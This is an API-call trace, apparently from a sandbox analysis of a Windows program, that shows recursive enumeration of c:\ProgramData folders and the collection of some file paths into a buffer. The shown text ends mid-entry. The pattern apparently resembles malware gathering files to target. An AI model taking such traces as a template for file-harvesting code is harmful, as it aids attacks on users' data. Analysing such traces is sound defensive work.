[0123.900] lstrcmpW (lpString1="Sqm", lpString2=".") returned 1 [0123.900] lstrcmpW (lpString1="Sqm", lpString2="..") returned 1 [0123.900] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Windows\\") returned 33 [0123.900] lstrlenW (lpString="Sqm") returned 3 [0123.900] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Windows\\", lpString2="Sqm" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows\\Sqm") returned="c:\\ProgramData\\Microsoft\\Windows\\Sqm" [0123.900] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.900] lstrcmpW (lpString1="Start Menu", lpString2=".") returned 1 [0123.900] lstrcmpW (lpString1="Start Menu", lpString2="..") returned 1 [0123.900] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Windows\\") returned 33 [0123.900] lstrlenW (lpString="Start Menu") returned 10 [0123.900] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Windows\\", lpString2="Start Menu" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows\\Start Menu") returned="c:\\ProgramData\\Microsoft\\Windows\\Start Menu" [0123.900] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.901] lstrcmpW (lpString1="Templates", lpString2=".") returned 1 [0123.901] lstrcmpW (lpString1="Templates", lpString2="..") returned 1 [0123.901] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Windows\\") returned 33 [0123.901] lstrlenW (lpString="Templates") returned 9 [0123.901] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Windows\\", lpString2="Templates" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows\\Templates") returned="c:\\ProgramData\\Microsoft\\Windows\\Templates" [0123.901] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.901] lstrcmpW (lpString1="WER", lpString2=".") returned 1 [0123.901] lstrcmpW (lpString1="WER", lpString2="..") returned 1 [0123.901] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Windows\\") returned 33 [0123.901] lstrlenW (lpString="WER") returned 3 [0123.901] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Windows\\", lpString2="WER" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows\\WER") returned="c:\\ProgramData\\Microsoft\\Windows\\WER" [0123.901] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.901] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.901] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.901] lstrcmpW (lpString1="Windows Defender", lpString2=".") returned 1 [0123.901] lstrcmpW (lpString1="Windows Defender", lpString2="..") returned 1 [0123.901] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0123.901] lstrlenW (lpString="Windows Defender") returned 16 [0123.901] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="Windows Defender" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows Defender") returned="c:\\ProgramData\\Microsoft\\Windows Defender" [0123.901] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Windows Defender", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows Defender\\") returned="c:\\ProgramData\\Microsoft\\Windows Defender\\" [0123.901] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Windows Defender\\") returned 42 [0123.901] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Windows Defender\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows Defender\\*") returned="c:\\ProgramData\\Microsoft\\Windows Defender\\*" [0123.901] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\Windows Defender\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0xffffffff [0123.901] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.901] lstrcmpW (lpString1="Windows NT", lpString2=".") returned 1 [0123.901] lstrcmpW (lpString1="Windows NT", lpString2="..") returned 1 [0123.901] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0123.901] lstrlenW (lpString="Windows NT") returned 10 [0123.901] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="Windows NT" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows NT") returned="c:\\ProgramData\\Microsoft\\Windows NT" [0123.901] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Windows NT", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows NT\\") returned="c:\\ProgramData\\Microsoft\\Windows NT\\" [0123.901] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Windows NT\\") returned 36 [0123.901] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Windows NT\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows NT\\*") returned="c:\\ProgramData\\Microsoft\\Windows NT\\*" [0123.901] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\Windows NT\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.901] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.901] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.901] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.901] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.901] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.901] lstrcmpW (lpString1="MSFax", lpString2=".") returned 1 [0123.901] lstrcmpW (lpString1="MSFax", lpString2="..") returned 1 [0123.901] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Windows NT\\") returned 36 [0123.901] lstrlenW (lpString="MSFax") returned 5 [0123.901] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Windows NT\\", lpString2="MSFax" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows NT\\MSFax") returned="c:\\ProgramData\\Microsoft\\Windows NT\\MSFax" [0123.901] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.901] lstrcmpW (lpString1="MSScan", lpString2=".") returned 1 [0123.901] lstrcmpW (lpString1="MSScan", lpString2="..") returned 1 [0123.901] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Windows NT\\") returned 36 [0123.902] lstrlenW (lpString="MSScan") returned 6 [0123.902] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Windows NT\\", lpString2="MSScan" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows NT\\MSScan") returned="c:\\ProgramData\\Microsoft\\Windows NT\\MSScan" [0123.902] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.902] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.902] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.902] lstrcmpW (lpString1="WwanSvc", lpString2=".") returned 1 [0123.902] lstrcmpW (lpString1="WwanSvc", lpString2="..") returned 1 [0123.902] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0123.902] lstrlenW (lpString="WwanSvc") returned 7 [0123.902] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="WwanSvc" | out: lpString1="c:\\ProgramData\\Microsoft\\WwanSvc") returned="c:\\ProgramData\\Microsoft\\WwanSvc" [0123.902] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\WwanSvc", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\WwanSvc\\") returned="c:\\ProgramData\\Microsoft\\WwanSvc\\" [0123.902] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\WwanSvc\\") returned 33 [0123.902] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\WwanSvc\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\WwanSvc\\*") returned="c:\\ProgramData\\Microsoft\\WwanSvc\\*" [0123.902] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\WwanSvc\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.902] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.902] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.902] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.902] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.902] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.902] lstrcmpW (lpString1="Profiles", lpString2=".") returned 1 [0123.902] lstrcmpW (lpString1="Profiles", lpString2="..") returned 1 [0123.902] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\WwanSvc\\") returned 33 [0123.902] lstrlenW (lpString="Profiles") returned 8 [0123.902] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\WwanSvc\\", lpString2="Profiles" | out: lpString1="c:\\ProgramData\\Microsoft\\WwanSvc\\Profiles") returned="c:\\ProgramData\\Microsoft\\WwanSvc\\Profiles" [0123.902] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.902] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.902] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0 [0123.902] FindClose (in: hFindFile=0x4d5760 | out: hFindFile=0x4d5760) returned 1 [0123.902] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.902] lstrcmpW (lpString1="Microsoft OneDrive", lpString2=".") returned 1 [0123.902] lstrcmpW (lpString1="Microsoft OneDrive", lpString2="..") returned 1 [0123.902] lstrlenW (lpString="c:\\ProgramData\\") returned 15 [0123.902] lstrlenW (lpString="Microsoft OneDrive") returned 18 [0123.902] lstrcatW (in: lpString1="c:\\ProgramData\\", lpString2="Microsoft OneDrive" | out: lpString1="c:\\ProgramData\\Microsoft OneDrive") returned="c:\\ProgramData\\Microsoft OneDrive" [0123.902] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft OneDrive", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft OneDrive\\") returned="c:\\ProgramData\\Microsoft OneDrive\\" [0123.902] lstrlenW (lpString="c:\\ProgramData\\Microsoft OneDrive\\") returned 34 [0123.902] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft OneDrive\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft OneDrive\\*") returned="c:\\ProgramData\\Microsoft OneDrive\\*" [0123.902] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft OneDrive\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0x4d5760 [0123.902] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.902] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.902] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.902] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.903] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.903] lstrcmpW (lpString1="setup", lpString2=".") returned 1 [0123.903] lstrcmpW (lpString1="setup", lpString2="..") returned 1 [0123.903] lstrlenW (lpString="c:\\ProgramData\\Microsoft OneDrive\\") returned 34 [0123.903] lstrlenW (lpString="setup") returned 5 [0123.903] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft OneDrive\\", lpString2="setup" | out: lpString1="c:\\ProgramData\\Microsoft OneDrive\\setup") returned="c:\\ProgramData\\Microsoft OneDrive\\setup" [0123.903] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft OneDrive\\setup", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft OneDrive\\setup\\") returned="c:\\ProgramData\\Microsoft OneDrive\\setup\\" [0123.903] lstrlenW (lpString="c:\\ProgramData\\Microsoft OneDrive\\setup\\") returned 40 [0123.903] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft OneDrive\\setup\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft OneDrive\\setup\\*") returned="c:\\ProgramData\\Microsoft OneDrive\\setup\\*" [0123.903] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft OneDrive\\setup\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.903] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.903] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.903] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.903] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.903] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.903] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.903] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0 [0123.903] FindClose (in: hFindFile=0x4d5760 | out: hFindFile=0x4d5760) returned 1 [0123.903] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.903] lstrcmpW (lpString1="Mozilla", lpString2=".") returned 1 [0123.903] lstrcmpW (lpString1="Mozilla", lpString2="..") returned 1 [0123.903] lstrlenW (lpString="c:\\ProgramData\\") returned 15 [0123.903] lstrlenW (lpString="Mozilla") returned 7 [0123.903] lstrcatW (in: lpString1="c:\\ProgramData\\", lpString2="Mozilla" | out: lpString1="c:\\ProgramData\\Mozilla") returned="c:\\ProgramData\\Mozilla" [0123.903] lstrcatW (in: lpString1="c:\\ProgramData\\Mozilla", lpString2="\\" | out: lpString1="c:\\ProgramData\\Mozilla\\") returned="c:\\ProgramData\\Mozilla\\" [0123.903] lstrlenW (lpString="c:\\ProgramData\\Mozilla\\") returned 23 [0123.903] lstrcatW (in: lpString1="c:\\ProgramData\\Mozilla\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Mozilla\\*") returned="c:\\ProgramData\\Mozilla\\*" [0123.903] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Mozilla\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0x4d5760 [0123.903] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.903] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.903] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.903] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.903] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.903] lstrcmpW (lpString1="logs", lpString2=".") returned 1 [0123.903] lstrcmpW (lpString1="logs", lpString2="..") returned 1 [0123.903] lstrlenW (lpString="c:\\ProgramData\\Mozilla\\") returned 23 [0123.903] lstrlenW (lpString="logs") returned 4 [0123.903] lstrcatW (in: lpString1="c:\\ProgramData\\Mozilla\\", lpString2="logs" | out: lpString1="c:\\ProgramData\\Mozilla\\logs") returned="c:\\ProgramData\\Mozilla\\logs" [0123.903] lstrcatW (in: lpString1="c:\\ProgramData\\Mozilla\\logs", lpString2="\\" | out: lpString1="c:\\ProgramData\\Mozilla\\logs\\") returned="c:\\ProgramData\\Mozilla\\logs\\" [0123.903] lstrlenW (lpString="c:\\ProgramData\\Mozilla\\logs\\") returned 28 [0123.903] lstrcatW (in: lpString1="c:\\ProgramData\\Mozilla\\logs\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Mozilla\\logs\\*") returned="c:\\ProgramData\\Mozilla\\logs\\*" [0123.903] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Mozilla\\logs\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.904] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.904] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.904] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.904] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.904] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.904] lstrcmpW (lpString1="maintenanceservice-install.log", lpString2=".") returned 1 [0123.904] lstrcmpW (lpString1="maintenanceservice-install.log", lpString2="..") returned 1 [0123.904] lstrlenW (lpString="c:\\ProgramData\\Mozilla\\logs\\") returned 28 [0123.904] lstrlenW (lpString="maintenanceservice-install.log") returned 30 [0123.904] lstrcatW (in: lpString1="c:\\ProgramData\\Mozilla\\logs\\", lpString2="maintenanceservice-install.log" | out: lpString1="c:\\ProgramData\\Mozilla\\logs\\maintenanceservice-install.log") returned="c:\\ProgramData\\Mozilla\\logs\\maintenanceservice-install.log" [0123.904] lstrlenW (lpString="c:\\ProgramData\\Mozilla\\logs\\maintenanceservice-install.log") returned 58 [0123.904] lstrcpyW (in: lpString1=0x24b6578, lpString2="c:\\ProgramData\\Mozilla\\logs\\maintenanceservice-install.log" | out: lpString1="c:\\ProgramData\\Mozilla\\logs\\maintenanceservice-install.log") returned="c:\\ProgramData\\Mozilla\\logs\\maintenanceservice-install.log" [0123.904] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.904] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.904] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0 [0123.904] FindClose (in: hFindFile=0x4d5760 | out: hFindFile=0x4d5760) returned 1 [0123.904] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.904] lstrcmpW (lpString1="Oracle", lpString2=".") returned 1 [0123.904] lstrcmpW (lpString1="Oracle", lpString2="..") returned 1 [0123.904] lstrlenW (lpString="c:\\ProgramData\\") returned 15 [0123.904] lstrlenW (lpString="Oracle") returned 6 [0123.904] lstrcatW (in: lpString1="c:\\ProgramData\\", lpString2="Oracle" | out: lpString1="c:\\ProgramData\\Oracle") returned="c:\\ProgramData\\Oracle" [0123.904] lstrcatW (in: lpString1="c:\\ProgramData\\Oracle", lpString2="\\" | out: lpString1="c:\\ProgramData\\Oracle\\") returned="c:\\ProgramData\\Oracle\\" [0123.904] lstrlenW (lpString="c:\\ProgramData\\Oracle\\") returned 22 [0123.904] lstrcatW (in: lpString1="c:\\ProgramData\\Oracle\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Oracle\\*") returned="c:\\ProgramData\\Oracle\\*" [0123.904] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Oracle\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0x4d5760 [0123.904] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.905] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.905] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.905] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.905] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0 [0123.905] FindClose (in: hFindFile=0x4d5760 | out: hFindFile=0x4d5760) returned 1 [0123.905] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.905] lstrcmpW (lpString1="Package Cache", lpString2=".") returned 1 [0123.905] lstrcmpW (lpString1="Package Cache", lpString2="..") returned 1 [0123.905] lstrlenW (lpString="c:\\ProgramData\\") returned 15 [0123.905] lstrlenW (lpString="Package Cache") returned 13 [0123.905] lstrcatW (in: lpString1="c:\\ProgramData\\", lpString2="Package Cache" | out: lpString1="c:\\ProgramData\\Package Cache") returned="c:\\ProgramData\\Package Cache" [0123.905] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache", lpString2="\\" | out: lpString1="c:\\ProgramData\\Package Cache\\") returned="c:\\ProgramData\\Package Cache\\" [0123.905] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\") returned 29 [0123.905] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Package Cache\\*") returned="c:\\ProgramData\\Package Cache\\*" [0123.905] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Package Cache\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0x4d5760 [0123.905] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.905] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.905] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.905] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.905] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.905] lstrcmpW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2=".") returned 1 [0123.905] lstrcmpW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="..") returned 1 [0123.905] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\") returned 29 [0123.905] lstrlenW (lpString="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned 49 [0123.905] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\", lpString2="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" | out: lpString1="c:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned="c:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" [0123.905] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="\\" | out: lpString1="c:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\") returned="c:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\" [0123.905] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\") returned 79 [0123.905] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*") returned="c:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*" [0123.905] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.905] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.905] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.905] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.905] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.905] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.905] lstrcmpW (lpString1="packages", lpString2=".") returned 1 [0123.905] lstrcmpW (lpString1="packages", lpString2="..") returned 1 [0123.905] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\") returned 79 [0123.905] lstrlenW (lpString="packages") returned 8 [0123.905] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\", lpString2="packages" | out: lpString1="c:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages") returned="c:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages" [0123.905] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.906] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.906] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.906] lstrcmpW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2=".") returned 1 [0123.906] lstrcmpW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="..") returned 1 [0123.906] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\") returned 29 [0123.906] lstrlenW (lpString="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned 38 [0123.906] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\", lpString2="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" | out: lpString1="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" [0123.906] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="\\" | out: lpString1="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\") returned="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\" [0123.906] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\") returned 68 [0123.906] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*") returned="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*" [0123.906] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.906] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.906] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.906] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.906] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.906] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.906] lstrcmpW (lpString1="state.rsm", lpString2=".") returned 1 [0123.906] lstrcmpW (lpString1="state.rsm", lpString2="..") returned 1 [0123.906] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\") returned 68 [0123.906] lstrlenW (lpString="state.rsm") returned 9 [0123.906] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\", lpString2="state.rsm" | out: lpString1="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm") returned="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm" [0123.906] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm") returned 77 [0123.906] lstrcpyW (in: lpString1=0x24b9e88, lpString2="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm" | out: lpString1="c:\\ProgramData\\Package 